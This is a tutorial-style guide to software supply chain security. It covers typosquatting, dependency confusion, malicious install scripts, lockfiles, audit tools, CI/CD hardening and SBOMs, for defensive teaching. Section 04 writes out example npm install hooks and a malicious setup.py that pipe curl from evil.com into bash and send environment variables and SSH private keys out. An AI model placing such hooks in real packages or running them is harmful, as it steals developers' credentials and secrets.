01 //Introduction to Supply Chain Security
A software supply chain attack targets the ecosystem of dependencies, tools, and infrastructure that your application relies on — rather than your application code directly. Modern applications typically depend on hundreds to thousands of open-source packages, each maintained by independent individuals or teams. Compromising a single package in that chain can affect millions of downstream applications.
event-stream incident affecting 8 million weekly downloads — can silently steal credentials, inject backdoors, or exfiltrate data from every application that depends on it. Gartner predicts that by 2025, 45% of organizations worldwide will have experienced a software supply chain attack.In this guide, you'll learn the major supply chain attack vectors (typosquatting, dependency confusion, maintainer takeover), how malicious packages use install scripts and post-install hooks to execute code, why lockfiles and version pinning are your first line of defense, how to audit dependencies with npm audit, Snyk, and Socket.dev, how to spot supply chain risks during code review, and how to secure CI/CD pipelines against build poisoning.
Why are supply chain attacks particularly effective against modern web applications?
02 //Supply Chain Attack Vectors
Supply chain attacks exploit different stages of the dependency lifecycle. Understanding each vector helps you build layered defenses.
Supply Chain Attack Vector Overview
| Attack Vector | How It Works | Scale | Example |
|---|---|---|---|
| Typosquatting | Register packages with names similar to popular ones (lodas, reqeusts, colros) | Targeted — catches developers who mistype | crossenv (stole env vars, 2017) |
| Dependency Confusion | Publish a package on the public registry with the same name as a private/internal package — package managers prefer the higher-version public one | Targeted — affects specific organizations | Alex Birsan attack on Apple, Microsoft, PayPal (2021) |
| Maintainer Takeover | Compromise a maintainer's npm/PyPI account via credential stuffing, phishing, or social engineering | Mass — affects all users of the package | ua-parser-js (7.8M downloads/week, 2021) |
| Malicious Update (Trojanized) | Legitimate package receives a new version with malicious code added | Mass — auto-updates install it | event-stream (8M downloads/week, 2018) |
| Install Script Attacks | Malicious code in preinstall/postinstall npm scripts executes during npm install | Varies — executes before any review | eslint-scope (2018) |
| Protestware | Maintainer intentionally adds destructive code to protest geopolitics/funding | Mass — affects all users | node-ipc (wiped files for Russian IPs, 2022) |
| Build Pipeline Poisoning | Compromise CI/CD systems (GitHub Actions, Jenkins) to inject malicious code during build | Targeted — affects specific repos/orgs | Codecov bash uploader breach (2021) |
| Lockfile Injection | PR modifies lockfile to point to malicious package URL/integrity hash | Targeted — requires code review bypass | lockfile-lint findings (2019) |
Your organization uses an internal npm package called @company/auth-utils. An attacker publishes auth-utils (without the scope) to the public npm registry. What attack is this?
03 //Typosquatting & Dependency Confusion
Typosquatting exploits human error — a developer types npm install expres instead of express. The attacker registers the mistyped name and publishes a malicious package. Dependency confusion exploits package manager resolution logic to substitute public packages for internal ones.
1# Real typosquatting examples found on npm:
2# Legitimate → Malicious typosquat
3express → expres, expresss, expreses
4lodash → lodas, lodashs, lod-ash
5colors → colros, colour
6request → reqeust, requets
7babel-cli → babelcli (removed hyphen)
8cross-env → crossenv (removed hyphen, stole env vars!)
9mongoose → mongose, mongoos
10
11# Attackers also use:
12# - Scope confusion: @angular/core → angular-core (no scope)
13# - Keyword stuffing: package with same keywords but different name
14# - Unicode homoglyphs: characters that look identical but are different1# ✅ SECURE: Route scoped packages to your private registry
2# .npmrc
3@company:registry=https://npm.company.com/
4//npm.company.com/:_authToken=${NPM_TOKEN}
5
6# This ensures @company/* packages ONLY come from your private registry
7# and are never resolved from the public npm registry.
8
9# ✅ SECURE: Lock registry per-package in package-lock.json
10# package-lock.json includes "resolved" URLs for each package
11# Review PRs that change resolved URLs — they should match expected registries
12
13# ❌ DANGEROUS: Using public registry as fallback for internal packages
14# If your private registry is down, npm falls back to public
15# An attacker waiting on public npm can intercept this fallback@company/auth-utils not auth-utils). Configure .npmrc to route your scope exclusively to your private registry. Claim your internal package names on the public npm registry as empty placeholder packages. Use tools like confused or snyk to detect dependency confusion risks in your organization.04 //Malicious Packages & Install Scripts
npm, pip, and other package managers support lifecycle scripts that execute during installation. Malicious packages abuse these to run code before anyone reviews the package source.
1{
2 "name": "helpful-utils",
3 "version": "1.0.0",
4 "scripts": {
5 "preinstall": "node malicious.js",
6 "postinstall": "curl https://evil.com/steal.sh | bash",
7 "install": "node -e \"require('child_process').execSync('env | curl -X POST -d @- https://evil.com/collect')\""
8 }
9}
10
11// When a developer runs "npm install helpful-utils":
12// 1. preinstall runs BEFORE anything else
13// 2. install runs during package installation
14// 3. postinstall runs AFTER installation
15//
16// The developer's environment variables (including tokens,
17// AWS keys, database passwords) are exfiltrated to evil.com
18// BEFORE they ever look at the package code.1# setup.py executes during "pip install"
2# ❌ Malicious setup.py
3from setuptools import setup
4import os
5
6# Runs during pip install — before any code review!
7os.system("curl https://evil.com/steal.sh | bash")
8
9# Steal SSH keys
10os.system("cat ~/.ssh/id_rsa | curl -X POST -d @- https://evil.com/keys")
11
12# Steal environment variables
13import json, urllib.request
14data = json.dumps(dict(os.environ)).encode()
15urllib.request.urlopen(
16 urllib.request.Request("https://evil.com/env", data=data)
17)
18
19setup(
20 name="helpful-utils",
21 version="1.0.0",
22 # ... normal-looking package metadata
23)1# ✅ SECURE: Ignore all install scripts globally
2npm config set ignore-scripts true
3
4# Then explicitly run scripts for trusted packages:
5npm rebuild # Runs install scripts for native modules that need them
6
7# ✅ Or use .npmrc in your project:
8echo "ignore-scripts=true" >> .npmrc
9
10# ✅ Allow scripts only for specific packages (npm 9+):
11# package.json
12# "overrides": { "node-gyp": { "scripts": true } }
13
14# ✅ Python: Use --no-build-isolation and review setup.py
15pip install --no-build-isolation package-nameA developer wants to add a new npm package with 50 weekly downloads and no README. During code review, what should you check?
05 //Lockfiles & Version Pinning
Lockfiles (package-lock.json, yarn.lock, pnpm-lock.yaml, Pipfile.lock) are your first line of defense against supply chain attacks. They pin exact versions and integrity hashes, ensuring every install produces the same dependency tree.
1// package.json allows VERSION RANGES:
2{
3 "dependencies": {
4 "lodash": "^4.17.0" // Any 4.x >= 4.17.0
5 }
6}
7// If an attacker publishes lodash@4.99.0 with malicious code,
8// the next "npm install" (without lockfile) installs the malicious version!
9
10// package-lock.json pins the EXACT version and integrity hash:
11{
12 "packages": {
13 "node_modules/lodash": {
14 "version": "4.17.21",
15 "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz",
16 "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg=="
17 }
18 }
19}
20// integrity hash ensures the downloaded file matches exactly
21// resolved URL shows which registry it came from- Always commit lockfiles — Lockfiles must be in version control. Without them, every
npm installresolves versions fresh, potentially pulling in compromised updates. - Use
npm ciin CI/CD — Unlikenpm install(which can update the lockfile),npm ciinstalls exactly what the lockfile specifies and fails if there's a mismatch. This prevents accidental updates. - Review lockfile changes in PRs — When a PR modifies
package-lock.json, review: Are the version changes expected? Do theresolvedURLs point to the expected registry? Are theintegrityhashes present? - Pin exact versions in package.json — Use
"lodash": "4.17.21"instead of"^4.17.21"for critical dependencies. This prevents automatic minor/patch updates.
lockfile-lint to verify that all resolved URLs point to expected registries and that integrity hashes are present for every package.06 //Vulnerability Scanning & Auditing
Vulnerability scanning detects known vulnerabilities in your dependencies. Multiple tools exist with different coverage, speed, and detection capabilities.
1# npm — built-in audit
2npm audit # Show vulnerabilities
3npm audit fix # Auto-fix where possible
4npm audit --production # Only production dependencies
5
6# Yarn
7yarn audit
8
9# pnpm
10pnpm audit
11
12# Python
13pip-audit # Dedicated pip vulnerability scanner
14safety check # PyUp safety database
15
16# Ruby
17bundle audit check
18
19# Java
20mvn dependency-check:check # OWASP Dependency-Check
21
22# .NET
23dotnet list package --vulnerableDependency Security Tools Comparison
| Tool | What It Detects | Cost | Best For |
|---|---|---|---|
| npm audit | Known CVEs in npm packages | Free | Basic vulnerability scanning |
| Snyk | CVEs + license issues + fix PRs | Free tier + paid | Automated PR fixes, CI integration |
| Socket.dev | Malicious packages, typosquatting, install scripts, behavior analysis | Free tier + paid | Detecting NEW threats (zero-day malicious packages) |
| Dependabot (GitHub) | CVEs + automated version update PRs | Free | GitHub-native automated updates |
| Renovate | Automated dependency updates with grouping | Free (open-source) | Fine-grained update control |
| OWASP Dependency-Check | CVEs across multiple ecosystems | Free (open-source) | Java/Maven, multi-language projects |
| Grype / Trivy | Container image + filesystem vulnerability scanning | Free (open-source) | Docker/container security |
npm audit only detects known, reported CVEs. It cannot detect new malicious packages, typosquatting, or install script attacks. Socket.dev analyzes package behavior — it flags packages that access the network during install, read environment variables, or execute shell commands. For comprehensive protection, use both: npm audit for known CVEs and Socket.dev for behavioral analysis.07 //Detection During Code Review
During code review, supply chain risks appear in dependency changes, lockfile modifications, CI/CD configuration, and build scripts. Here is a systematic detection approach.
Code Review Detection Patterns
| What to Review | Red Flags | Risk |
|---|---|---|
| New dependency added | Low downloads, no README, recently created, name similar to popular package | Critical (typosquat/malicious) |
| package.json scripts | preinstall/postinstall that curl URLs, run node -e, or execute shell commands | Critical (install script attack) |
| Lockfile changes | Resolved URLs changed to unexpected registries, missing integrity hashes | High (lockfile injection) |
| Version range change | Exact pin (4.17.21) changed to range (^4.0.0) — widens attack surface | Medium |
| .npmrc changes | Registry URLs changed, authentication tokens modified | High (registry hijacking) |
| CI/CD config changes | New external actions, changed build scripts, new secrets access | High (build poisoning) |
| Dockerfile changes | Base image changed, new RUN commands that curl/wget external scripts | High |
| Import of native module | Package uses N-API/node-gyp — can execute C/C++ code during install | Medium |
1# Check for install scripts in a package BEFORE installing
2npm pack package-name && tar -xzf package-name-*.tgz
3cat package/package.json | grep -A5 '"scripts"'
4
5# Check package info without installing
6npm info package-name
7npm info package-name time # Shows when each version was published
8
9# Verify package hasn't been recently transferred
10npm info package-name maintainers
11
12# Check for typosquatting
13# Compare the package name carefully against the intended package
14# Use npm search to find the real package
15
16# Review lockfile changes in a PR
17npx lockfile-lint --path package-lock.json \
18 --type npm --allowed-hosts npm --validate-https
19
20# Find all install scripts in your dependency tree
21npx @pnpm/list-scriptsA PR updates package-lock.json with 2,000 changed lines. The PR description says 'Updated lodash to fix a vulnerability.' What should you check?
08 //CI/CD Pipeline Security
CI/CD pipelines are high-value targets because they have access to production secrets, deployment credentials, and signing keys. A compromised build pipeline can inject malicious code into every release.
1# ✅ SECURE: Pin actions to specific commit hashes (not tags)
2name: CI
3on: [push, pull_request]
4
5permissions:
6 contents: read # ✅ Minimum required permissions
7
8jobs:
9 build:
10 runs-on: ubuntu-latest
11 steps:
12 # ❌ DANGEROUS: Uses mutable tag — attacker can overwrite v3
13 # - uses: actions/checkout@v3
14
15 # ✅ SECURE: Pinned to exact commit SHA
16 - uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608
17
18 # ✅ Use npm ci (not npm install) for reproducible builds
19 - run: npm ci
20
21 # ✅ Run audit in CI
22 - run: npm audit --audit-level=high
23
24 # ❌ DANGEROUS: Running arbitrary scripts from PRs
25 # PRs from forks can modify workflow files and steal secrets
26 # - run: npm test # If package.json "test" script is modified...
27
28 # ✅ SECURE: Use environment protection rules for deployment
29 # Require manual approval for production deploys- Pin GitHub Actions to commit SHAs — Tags like
@v3are mutable. An attacker who compromises the action repo can push malicious code to the same tag. SHA pins are immutable. - Minimize secrets exposure — Use GitHub environment protection rules. Don't expose production secrets to PR builds from forks.
- Use
npm ciin CI — Always usenpm ci(clean install from lockfile) instead ofnpm install(which can modify the lockfile). - Separate build and deploy — Build artifacts in one job, deploy in another with stricter permissions and approval gates.
- Verify artifact integrity — Sign build artifacts and verify signatures before deployment.
09 //Advanced Defenses
Beyond basic auditing and lockfiles, organizations can implement advanced defenses that significantly reduce supply chain risk.
1<!-- ✅ SECURE: SRI hash verifies the script hasn't been tampered with -->
2<script
3 src="https://cdn.example.com/library-3.2.1.min.js"
4 integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
5 crossorigin="anonymous"
6></script>
7
8<!-- If the CDN is compromised and the file is modified, -->
9<!-- the browser refuses to execute it — hash mismatch! -->
10
11<!-- Generate SRI hashes: -->
12<!-- shasum -b -a 384 library.min.js | xxd -r -p | base64 -->
13<!-- Or use srihash.org -->1# ✅ Use a private registry as a curated proxy
2# Only approved packages are mirrored from public npm
3
4# Artifactory / Verdaccio / GitHub Packages configuration:
5# 1. All npm install commands go through your proxy
6# 2. New packages must be approved before they're mirrored
7# 3. Known-malicious packages are automatically blocked
8# 4. Audit log of all downloaded packages
9
10# .npmrc
11registry=https://npm.company.com/
12# All requests go to your proxy, which fetches from public npm
13# and caches/scans the result
14
15# ✅ npm package provenance (npm 9.5+)
16# Verify packages were built from their claimed source repo
17npm audit signatures # Verify provenance attestations- Allowlist approved packages — Maintain a list of approved packages. New dependencies require security team review.
- Monitor for maintainer changes — Use tools like Socket.dev to alert when a package's maintainer changes, a new publish token is used, or ownership is transferred.
- Vendor critical dependencies — For critical packages, copy the source into your repo (vendoring) and maintain it directly. This eliminates the registry as an attack vector.
- Use npm provenance — npm provenance verification (SLSA Level 3) proves a package was built from a specific source repo commit. Check with
npm audit signatures. - Network isolation for builds — Run builds in environments with no internet access. All dependencies must be pre-cached in a private registry.
10 //SBOMs & Compliance
A Software Bill of Materials (SBOM) is a formal, machine-readable inventory of all components (libraries, frameworks, tools) in your application. SBOMs are increasingly required by regulations and government contracts (US Executive Order 14028).
1# CycloneDX format (OWASP standard)
2npx @cyclonedx/cyclonedx-npm --output-file sbom.json
3
4# SPDX format (Linux Foundation standard)
5npx spdx-sbom-generator
6
7# Syft (Anchore) — multi-ecosystem SBOM generator
8syft packages dir:. -o cyclonedx-json > sbom.json
9syft packages docker:myapp:latest -o spdx-json > sbom.json
10
11# Trivy — vulnerability scanning + SBOM generation
12trivy fs --format cyclonedx --output sbom.json .
13
14# GitHub automatically generates SBOMs (dependency graph)
15# Settings → Code security → Dependency graph → Export SBOM- License compliance — SBOMs reveal all package licenses. Identify copyleft licenses (GPL, AGPL) that may conflict with your licensing model.
- Vulnerability tracking — When a new CVE is published, query your SBOM to instantly determine if you're affected.
- Regulatory compliance — US government contracts (post-EO 14028), EU Cyber Resilience Act, and NIST frameworks increasingly require SBOMs.
- Incident response — When a supply chain attack is discovered (like Log4Shell), SBOMs let you immediately identify all affected systems.
11 //Real-World Case Studies
12 //Conclusion & Checklist
Supply chain security requires vigilance at every stage: adding dependencies, updating them, building your application, and deploying it. No single tool or practice is sufficient — layered defenses are essential.
Supply Chain Security Checklist
| Category | Check | Priority |
|---|---|---|
| Dependencies | Are new dependencies reviewed for legitimacy (downloads, maintainer, age, install scripts)? | Critical |
| Dependencies | Are package names verified (no typosquats, correct scope)? | Critical |
| Dependencies | Is ignore-scripts=true set in .npmrc to block install scripts? | High |
| Lockfiles | Is the lockfile committed to version control? | Critical |
| Lockfiles | Are lockfile changes in PRs reviewed for unexpected registry URLs or missing integrity hashes? | High |
| Lockfiles | Does CI use npm ci (not npm install)? | High |
| Scanning | Is npm audit or equivalent run in CI and blocking on high/critical vulnerabilities? | High |
| Scanning | Is a behavioral analysis tool (Socket.dev) used to detect malicious packages? | Recommended |
| Registry | Are internal packages using scoped names (@company/) routed to a private registry? | High |
| Registry | Are internal package names claimed on the public registry to prevent confusion? | Medium |
| CI/CD | Are GitHub Actions pinned to commit SHAs (not mutable tags)? | High |
| CI/CD | Are production secrets isolated from PR build environments? | Critical |
| CI/CD | Do deployment jobs require approval gates? | High |
| SBOM | Is an SBOM generated and maintained for each release? | Recommended |
| CDN | Do CDN-loaded scripts use Subresource Integrity (SRI) hashes? | High |
| Monitoring | Are dependency update PRs (Dependabot/Renovate) reviewed before merging? | High |